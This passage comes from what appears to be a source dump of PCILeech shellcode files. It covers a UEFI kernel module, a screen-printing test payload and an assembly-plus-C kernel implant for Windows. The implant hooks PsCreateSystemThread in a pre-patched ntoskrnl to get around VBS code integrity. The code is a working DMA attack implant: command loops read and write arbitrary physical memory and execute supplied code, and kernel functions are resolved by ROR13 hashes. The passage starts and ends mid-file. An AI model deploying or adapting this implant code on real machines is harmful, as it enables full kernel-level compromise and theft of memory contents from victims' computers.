magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tPVOID fn[32];\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n\n//-------------------------------------------------------------------------------\n// EFI 'kernel' module functionality below\n//-------------------------------------------------------------------------------\n\n#define OFFSET_EFI_MEMMAP_DMABUFFER\t\t0x00100000\t\t// 1MB offset\n\nBOOL GetMemoryMapFromEfi(PKMDDATA pk)\n{\n\tQWORD status, cbBuffer, qwMapKey, cbDescriptor, qwDecriptorVersion;\n\tQWORD o = 0, addr = 0, addrMax = 0;\n\tPEFI_MEMORY_DESCRIPTOR pmd;\n\tPPHYSICAL_MEMORY_RANGE pmr;\n\t// fetch the efi memory map\n\tcbBuffer = pk->DMASizeBuffer - OFFSET_EFI_MEMMAP_DMABUFFER;\n\tstatus = GetMemoryMap(\n\t\t&cbBuffer,\n\t\t(PQWORD)(pk->DMAAddrPhysical + OFFSET_EFI_MEMMAP_DMABUFFER),\n\t\t&qwMapKey,\n\t\t&cbDescriptor,\n\t\t&qwDecriptorVersion);\n\tif(status) { return FALSE; }\n\t// fetch maximum physical address\n\twhile(TRUE) {\n\t\tif(o >= cbBuffer) { break; }\n\t\tpmd = (PEFI_MEMORY_DESCRIPTOR)(pk->DMAAddrPhysical + OFFSET_EFI_MEMMAP_DMABUFFER + o);\n\t\taddrMax = MAX(addrMax, pmd->PhysicalStart + pmd->NumberOfPages * 0x1000);\n\t\to += cbDescriptor;\n\t}\n\t// select readable memory out of the (potentially unordered) memory map\n\tpk->_size = sizeof(PHYSICAL_MEMORY_RANGE);\n\tpmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrPhysical;\n\tpmr->BaseAddress = 0;\n\tpmr->NumberOfBytes = 0;\n\twhile(addr < addrMax) {\n\t\to = 0;\n\t\twhile(TRUE) {\n\t\t\tif(o >= cbBuffer) { break; }\n\t\t\tpmd = (PEFI_MEMORY_DESCRIPTOR)(pk->DMAAddrPhysical + OFFSET_EFI_MEMMAP_DMABUFFER + o);\n\t\t\tif(addr == pmd->PhysicalStart) {\n\t\t\t\tif((pmd->Type < EfiMaxMemoryType) && (pmd->Type != EfiReservedMemoryType) && (pmd->Type != EfiUnusableMemory) && (pmd->Type != EfiMemoryMappedIO) && (pmd->Type != EfiMemoryMappedIOPortSpace)) {\n\t\t\t\t\tif(pmr->BaseAddress + pmr->NumberOfBytes == pmd->PhysicalStart) {\n\t\t\t\t\t\tpmr->NumberOfBytes += 0x1000 * pmd->NumberOfPages;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(pmr->BaseAddress + pmr->NumberOfBytes) {\n\t\t\t\t\t\t\tpk->_size += sizeof(PHYSICAL_MEMORY_RANGE);\n\t\t\t\t\t\t\tpmr = (PPHYSICAL_MEMORY_RANGE)((QWORD)pmr + sizeof(PHYSICAL_MEMORY_RANGE));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tpmr->BaseAddress = pmd->PhysicalStart;\n\t\t\t\t\t\tpmr->NumberOfBytes = 0x1000 * pmd->NumberOfPages;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\taddr += 0x1000 * pmd->NumberOfPages;\n\t\t\t\tgoto next_descriptor;\n\t\t\t}\n\t\t\to += cbDescriptor;\n\t\t}\n\t\t// not found\n\t\taddr += 0x1000;\n\t\tnext_descriptor:\n\t\t;\n\t}\n\treturn TRUE;\n}\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID c_EntryPoint(PKMDDATA pk, QWORD paUEFI_IBI_SYST)\n{\n\tQWORD status, addr;\n\t// 1: set up kmd data\n\tSetMem((PQWORD)pk, 0x1000, 0);\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_UEFI;\n\tpk->ReservedKMD[0] = paUEFI_IBI_SYST; // Address of UEFI system table\n\t// 2: allocate memory for buffer\n\taddr = 0xffffffff;\n\tpk->DMASizeBuffer = 0x01000000;\n\tstatus = AllocatePages(1, EfiBootServicesData, 0x1000, &addr);\n\tif(status) {\n\t\taddr = 0xffffffff;\n\t\tpk->DMASizeBuffer = 0x00400000;\n\t\tstatus = AllocatePages(1, EfiBootServicesData, 0x400, &addr);\n\t\tif(status) {\n\t\t\tpk->_status = 0xf0000002;\n\t\t\treturn;\n\t\t}\n\t}\n\tpk->DMAAddrPhysical = addr;\n\tpk->DMAAddrVirtual = addr;\n\t// 3: disable any watchdog timer (if exists)\n\tpk->dataOut[2] = SetWatchdogTimer(0, 0, 0, 0);\n\t// 4: main command loop.\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tif (KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif (KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tFreePages(pk->DMAAddrPhysical, pk->DMASizeBuffer / 0x1000);\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tpk->DMAAddrPhysical = 0;\n\t\t\tpk->DMAAddrVirtual = 0;\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\tpk->_result = GetMemoryMapFromEfi(pk);\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\t((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrPhysical)(pk, pk->dataIn, pk->dataOut);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif((KMD_CMD_READ == pk->_op) || KMD_CMD_READ_VA == pk->_op) { // MEMORY READ (PHYSICAL/VIRTUAL 1:1 MAPPED IN UEFI)\n\t\t\tCopyMem((PQWORD)pk->DMAAddrPhysical, (PQWORD)pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif((KMD_CMD_WRITE == pk->_op) || KMD_CMD_WRITE_VA == pk->_op) { // MEMORY WRITE (PHYSICAL/VIRTUAL 1:1 MAPPED IN UEFI)\n\t\t\tCopyMem((PQWORD)pk->_address, (PQWORD)pk->DMAAddrPhysical, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/uefi_textout.c",
    "content": "// uefi_textout.c : prints some text on the screen.\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_textout.c\n// ml64.exe uefi_common_a.asm /Feuefi_textout.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_textout.obj uefi_common.obj\n// shellcode64.exe -o uefi_textout.exe \"UEFI TEST PROGRAM - PRINT STUFF ON THE SCREEN\\n===========================================================\\nSyntax: pcileech.exe uefi_textout\\nOptions (optional): \\ntext: -s <text to print>\\nposition: -0 1 -1 <x_pos> -2 <y_pos>\\nnumber of runs (default=1): -3 <number>\\nGENERAL INFORMATION BELOW:\\n  TEXT      : %s\\n\"\n//\n#include \"uefi_common.h\"\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tWCHAR szPrint[MAX_PATH];\n\tCHAR *szSrc, szPrintDefault[] = { ' ', ' ', ' ', ' ', 'U', 'E', 'F', 'I', ' ', 'E', 'V', 'I', 'L', ' ', 'F', 'R', 'O', 'M', ' ', 'P', 'C', 'I', 'L', 'E', 'E', 'C', 'H', '!', ' ', ' ', ' ' , ' ', 0 };\n\tEFI_GUID GUID_EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL = EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL_GUID;\n\tEFI_SIMPLE_TEXT_OUTPUT_PROTOCOL oOut;\n\tEFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *pOut = &oOut;\n\tQWORD i, efi_status;\n\tszSrc = pk->dataInStr[0] ? pk->dataInStr : szPrintDefault;\n\tfor(i = 0; i < MAX_PATH - 1; i++) {\n\t\t// read overflow here if default, but doesn't matter...\n\t\tszPrint[i] = szSrc[i];\n\t\tpk->dataOutStr[i] = szSrc[i];\n\t}\n\tpk->dataOut[0] = efi_status = LocateProtocol(&GUID_EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL, NULL, (QWORD**)&pOut);\n\tif(!efi_status) {\n\t\tif(pk->dataIn[0]) {\n\t\t\tpOut->SetCursorPosition((QWORD*)pOut, pk->dataIn[1], pk->dataIn[2]);\n\t\t}\n\t\tpOut->SetAttribute((QWORD*)pOut, EFI_BACKGROUND_RED | EFI_CYAN);\n\t\tfor(i = 0; i < max(1, pk->dataIn[3]); i++) {\n\t\t\tpOut->OutputString((QWORD*)pOut, szPrint);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/uefi_winload_ntos_kmd.asm",
    "content": "; uefi_winload_ntos_kmd.asm : assembly to receive execution from hooked function PsCreateSystemThread at end of execution (instead of RET)\n;\n; (c) Ulf Frisk, 2017\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\nEXTRN c_EntryPoint:NEAR\n\n.CODE\n\nmain PROC\n\tJMP main_setup\nmain ENDP\n\ndata_trigger_count\tdb 00h, 00h\t\t; offset 0x02\naddr_base_ntos\t\tdd 00000000h\t; offset 0x04\naddr_this\t\t\tdd 00000000h    ; offset 0x08\naddr_sym0\t\t\tdd 00000000h    ; offset 0x0c\naddr_sym1\t\t\tdd 00000000h    ; offset 0x10\naddr_sym2\t\t\tdd 00000000h    ; offset 0x14\n\nmain_setup PROC\n\tPUSH rax\n\t; ----------------------------------------------------\n\t; only continue of running at IRQL PASSIVE_LEVEL\n\t; ----------------------------------------------------\n\tMOV rax, cr8\n\tTEST al, al\n\tJNZ main_setup_exit\n\t; ----------------------------------------------------\n\t; save registers (14regs)\n\t; ----------------------------------------------------\n\tPUSH rbx\n\tPUSH rcx\n\tPUSH rdx\n\tPUSH rdi\n\tPUSH rsi\n\tPUSH r8\n\tPUSH r9\n\tPUSH r10\n\tPUSH r11\n\tPUSH r12\n\tPUSH r13\n\tPUSH r14\n\tPUSH r15\n\tPUSH rbp\n\t; ----------------------------------------------------\n\t; fetch ntos base, vfs addr, cr3, align stack, jump to c-code\n\t; ----------------------------------------------------\n\tLEA rcx, [main]\n\tMOV eax, [addr_this]\n\tSUB rcx, rax\n\tMOV eax, [addr_base_ntos]\n\tADD rcx, rax\n\tLEA rdx, [main]\n\tMOV r8, cr3\n\tMOV r15, rsp\n\tSUB rsp, 100h\n\tSHR rsp, 4\n\tSHL rsp, 4\n\tCALL c_EntryPoint\n\tMOV rsp, r15\n\t; ----------------------------------------------------\n\t; restore registers\n\t; ----------------------------------------------------\n\tPOP rbp\n\tPOP r15\n\tPOP r14\n\tPOP r13\n\tPOP r12\n\tPOP r11\n\tPOP r10\n\tPOP r9\n\tPOP r8\n\tPOP rsi\n\tPOP rdi\n\tPOP rdx\n\tPOP rcx\n\tPOP rbx\n\t; ----------------------------------------------------\n\t; return\n\t; ----------------------------------------------------\n\tmain_setup_exit:\n\tPOP rax\n\tRET\nmain_setup ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/uefi_winload_ntos_kmd_c.c",
    "content": "// uefi_winload_ntos_kmd_c.c : special kmd for use in pre-patched ntoskrnl.exe with VBS enforced code integrity\n//\n// (planned to be used in demo at 34c3)\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_kmd_c.c\n// ml64.exe uefi_winload_ntos_kmd.asm /Feuefi_winload_ntos_kmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_kmd_c.obj\n// shellcode64.exe -o uefi_winload_ntos_kmd.exe\n//\n#include <windows.h>\n#pragma warning( disable : 4047 4055 4127)\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef __int64\t\t\t\t\tPHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\n\n// ----------------------------- KERNEL DEFINES AND TYPEDEFS BELOW -----------------------------\n\ntypedef struct _CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID;\ntypedef CLIENT_ID *PCLIENT_ID;\n\ntypedef _IRQL_requires_same_ _Function_class_(KSTART_ROUTINE) VOID KSTART_ROUTINE(\n\t_In_ PVOID StartContext\n);\ntypedef KSTART_ROUTINE *PKSTART_ROUTINE;\n\ntypedef struct _UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\t_Field_size_bytes_part_(MaximumLength, Length) PWCH   Buffer;\n} UNICODE_STRING;\ntypedef UNICODE_STRING *PUNICODE_STRING;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tULONG Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES;\ntypedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;\ntypedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;\n\ntypedef enum _MEMORY_CACHING_TYPE {\n\tMmNonCached = 0,\n\tMmCached = 1,\n\tMmWriteCombined = 2,\n\tMmHardwareCoherentCached = 3,\n\tMmNonCachedUnordered = 4,\n\tMmUSWCCached = 5,\n\tMmMaximumCacheType = 6\n} MEMORY_CACHING_TYPE;\n\ntypedef struct _PHYSICAL_MEMORY_RANGE {\n\tPHYSICAL_ADDRESS BaseAddress;\n\tLARGE_INTEGER NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef enum _MODE {\n\tKernelMode,\n\tUserMode,\n\tMaximumMode\n} MODE;\n\n// ----------------------------- ROR13 HASHES BELOW -----------------------------\n\n#define H_ExFreePool\t\t\t\t\t\t\t0x9d489d1f\n#define H_MmAllocateContiguousMemory\t\t\t0x9f361ebc\n#define H_MmFreeContiguousMemory\t\t\t\t0x1345f592\n#define H_MmGetPhysicalAddress\t\t\t\t\t0x5a326357\n#define H_MmGetPhysicalMemoryRanges\t\t\t\t0x4977a56f\n#define H_MmMapIoSpace\t\t\t\t\t\t\t0x05ddbef9\n#define H_MmUnmapIoSpace\t\t\t\t\t\t0x6c6ec5c9\n#define H_PsCreateSystemThread\t\t\t\t\t0x94a06b02\n#define H_RtlCopyMemory\t\t\t\t\t\t\t0xcf64979b\n#define H_RtlZeroMemory\t\t\t\t\t\t\t0xc53d4fdb\n#define H_ZwProtectVirtualMemory\t\t\t\t0xbc3f4d89\n#define H_KeDelayExecutionThread\t\t\t\t0x58586d92\n#define H_RtlZeroMemory\t\t\t\t\t\t\t0xc53d4fdb\n\n// ----------------------------- SHELLCODE DEFINES AND TYPEDEFS BELOW (STAGE2) -----------------------------\n\n#undef RtlCopyMemory\n#undef RtlZeroMemory\ntypedef struct tdNTOS {\n\tVOID(*ExFreePool)(\n\t\t_In_ PVOID P\n\t\t);\n\tVOID(*MmFreeContiguousMemory)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPVOID(*MmAllocateContiguousMemory)(\n\t\t_In_ SIZE_T NumberOfBytes,\n\t\t_In_ PHYSICAL_ADDRESS HighestAcceptableAddress\n\t\t);\n\tPHYSICAL_ADDRESS(*MmGetPhysicalAddress)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPPHYSICAL_MEMORY_RANGE(*MmGetPhysicalMemoryRanges)(\n\t\tVOID\n\t\t);\n\tPVOID(*MmMapIoSpace)(\n\t\t_In_  PHYSICAL_ADDRESS    PhysicalAddress,\n\t\t_In_  SIZE_T              NumberOfBytes,\n\t\t_In_  MEMORY_CACHING_TYPE CacheType\n\t\t);\n\tVOID(*MmUnmapIoSpace)(\n\t\t_In_  PVOID  BaseAddress,\n\t\t_In_  SIZE_T NumberOfBytes\n\t\t);\n\tNTSTATUS(*PsCreateSystemThread)(\n\t\t_Out_      PHANDLE            ThreadHandle,\n\t\t_In_       ULONG              DesiredAccess,\n\t\t_In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_In_opt_   HANDLE             ProcessHandle,\n\t\t_Out_opt_  PCLIENT_ID         ClientId,\n\t\t_In_       PKSTART_ROUTINE    StartRoutine,\n\t\t_In_opt_   PVOID              StartContext\n\t\t);\n\tVOID(*RtlCopyMemory)(\n\t\t_Out_       VOID UNALIGNED *Destination,\n\t\t_In_  const VOID UNALIGNED *Source,\n\t\t_In_        SIZE_T         Length\n\t\t);\n\tNTSTATUS(*ZwProtectVirtualMemory)(\n\t\t_In_ HANDLE ProcessHandle,\n\t\t_Inout_ PVOID *BaseAddress,\n\t\t_Inout_ PSIZE_T RegionSize,\n\t\t_In_ ULONG NewProtect,\n\t\t_Out_ PULONG OldProtect\n\t\t);\n\tNTSTATUS(*KeDelayExecutionThread)(\n\t\t_In_ MODE            WaitMode,\n\t\t_In_ BOOLEAN         Alertable,\n\t\t_In_ PINT64          pllInterval_Neg100ns\n\t\t);\n\tQWORD ReservedFutureUse[21];\n} NTOS, *PNTOS;\n\n#define KMDDATA_OPERATING_SYSTEM_WINDOWS\t\t0x01\n#define KMDDATA_MAGIC\t\t\t\t\t\t\t0xff11337711333377\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tNTOS fn;\t\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n// ----------------------------- SHELLCODE FUNCTIONS BELOW (STAGE2) -----------------------------\n\nDWORD HashROR13A(_In_ LPCSTR sz)\n{\n\tDWORD dwVal, dwHash = 0;\n\twhile(*sz) {\n\t\tdwVal = (DWORD)*sz++;\n\t\tdwHash = (dwHash >> 13) | (dwHash << 19);\n\t\tdwHash += dwVal;\n\t}\n\treturn dwHash;\n}\n\n/*\n* Lookup a function and return it, if found.\n* -- hModule\n* -- dwProcNameH\n* -- return\n*/\nQWORD PEGetProcAddressH(_In_ QWORD hModule, _In_ DWORD dwProcNameH)\n{\n\tPDWORD pdwRVAAddrNames, pdwRVAAddrFunctions;\n\tPWORD pwNameOrdinals;\n\tDWORD i, dwFnIdx, dwHash;\n\tLPSTR sz;\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tPIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule);\n\tpdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames);\n\tpwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals);\n\tpdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions);\n\tfor(i = 0; i < exp->NumberOfNames; i++) {\n\t\tsz = (LPSTR)(hModule + pdwRVAAddrNames[i]);\n\t\tdwHash = HashROR13A(sz);\n\t\tif(dwHash == dwProcNameH) {\n\t\t\tdwFnIdx = pwNameOrdinals[i];\n\t\t\tif(dwFnIdx >= exp->NumberOfFunctions) { return 0; }\n\t\t\treturn hModule + pdwRVAAddrFunctions[dwFnIdx];\n\t\t}\n\t}\n\treturn 0;\n}\n\n#define KMD_CMD_VOID\t\t\t0xffff\n#define KMD_CMD_COMPLETED\t\t0\n#define KMD_CMD_READ\t\t\t1\n#define KMD_CMD_WRITE\t\t\t2\n#define KMD_CMD_TERMINATE\t\t3\n#define KMD_CMD_MEM_INFO\t\t4\n#define KMD_CMD_EXEC\t\t    5\n#define KMD_CMD_READ_VA\t\t\t6\n#define KMD_CMD_WRITE_VA\t\t7\n#define KMD_CMD_EXEC_EXTENDED\t8\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID stage3_c_MainCommandLoop(PKMDDATA pk)\n{\n\tLONGLONG llTimeToWait = -10000; // 1000 uS (negative multiples of 100ns)\n\tPVOID pvBufferOutDMA;\n\tPPHYSICAL_MEMORY_RANGE pMemMap;\n\tPVOID pvMM = NULL;\n\tQWORD i, idleCount = 0;\n\t// 1: set up mem out dma area 16MB//4MB in lower 4GB\n\tpk->DMASizeBuffer = 0x1000000;\n\tpvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x01000000, 0xffffffff);\n\tif(!pvBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0x00400000;\n\t\tpvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x00400000, 0xffffffff);\n\t}\n\tif(!pvBufferOutDMA) {\n\t\tpk->DMASizeBuffer = 0;\n\t\tpk->_status = 0xf0000001;\n\t\treturn;\n\t}\n\tpk->DMAAddrVirtual = (QWORD)pvBufferOutDMA;\n\tpk->DMAAddrPhysical = pk->fn.MmGetPhysicalAddress(pvBufferOutDMA);\n\t// 2: main dump loop\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tif(KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tidleCount++;\n\t\t\t// thread wait after X number of idle loops - TODO: change to timing\n\t\t\tif(idleCount > 10000000000) {\n\t\t\t\tpk->fn.KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait);\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif(KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tpk->fn.MmFreeContiguousMemory(pvBufferOutDMA);\n\t\t\tpk->DMAAddrPhysical = 0;\n\t\t\tpk->DMAAddrVirtual = 0;\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\tpMemMap = pk->fn.MmGetPhysicalMemoryRanges();\n\t\t\tif(pMemMap == NULL) {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t} else {\n\t\t\t\tfor(i = 0; (pMemMap[i].BaseAddress) || (pMemMap[i].NumberOfBytes.QuadPart); i++);\n\t\t\t\tpk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);\n\t\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, pMemMap, pk->_size);\n\t\t\t\tpk->fn.ExFreePool(pMemMap);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\tif(pk->dataIn[9]) {\n\t\t\t\t// PSCMD_KERNEL\n\t\t\t\t((VOID(*)(PKMDDATA))pk->ReservedKMD[1])(pk);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t} else {\n\t\t\t\t// VFS\n\t\t\t\t((VOID(*)(PKMDDATA))pk->ReservedKMD[0])(pk);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE\n\t\t\tif(pk->dataIn[9] == 0) {\n\t\t\t\tpvMM = NULL; // no memory read if vfs (might crash the system accidentally)\n\t\t\t} else {\n\t\t\t\tpvMM = pk->fn.MmMapIoSpace(pk->_address, pk->_size, 0);\n\t\t\t}\n\t\t\tif(pvMM) {\n\t\t\t\tif(KMD_CMD_READ == pk->_op) { // READ\n\t\t\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, pvMM, pk->_size);\n\t\t\t\t} else { // WRITE\n\t\t\t\t\tpk->fn.RtlCopyMemory(pvMM, pvBufferOutDMA, 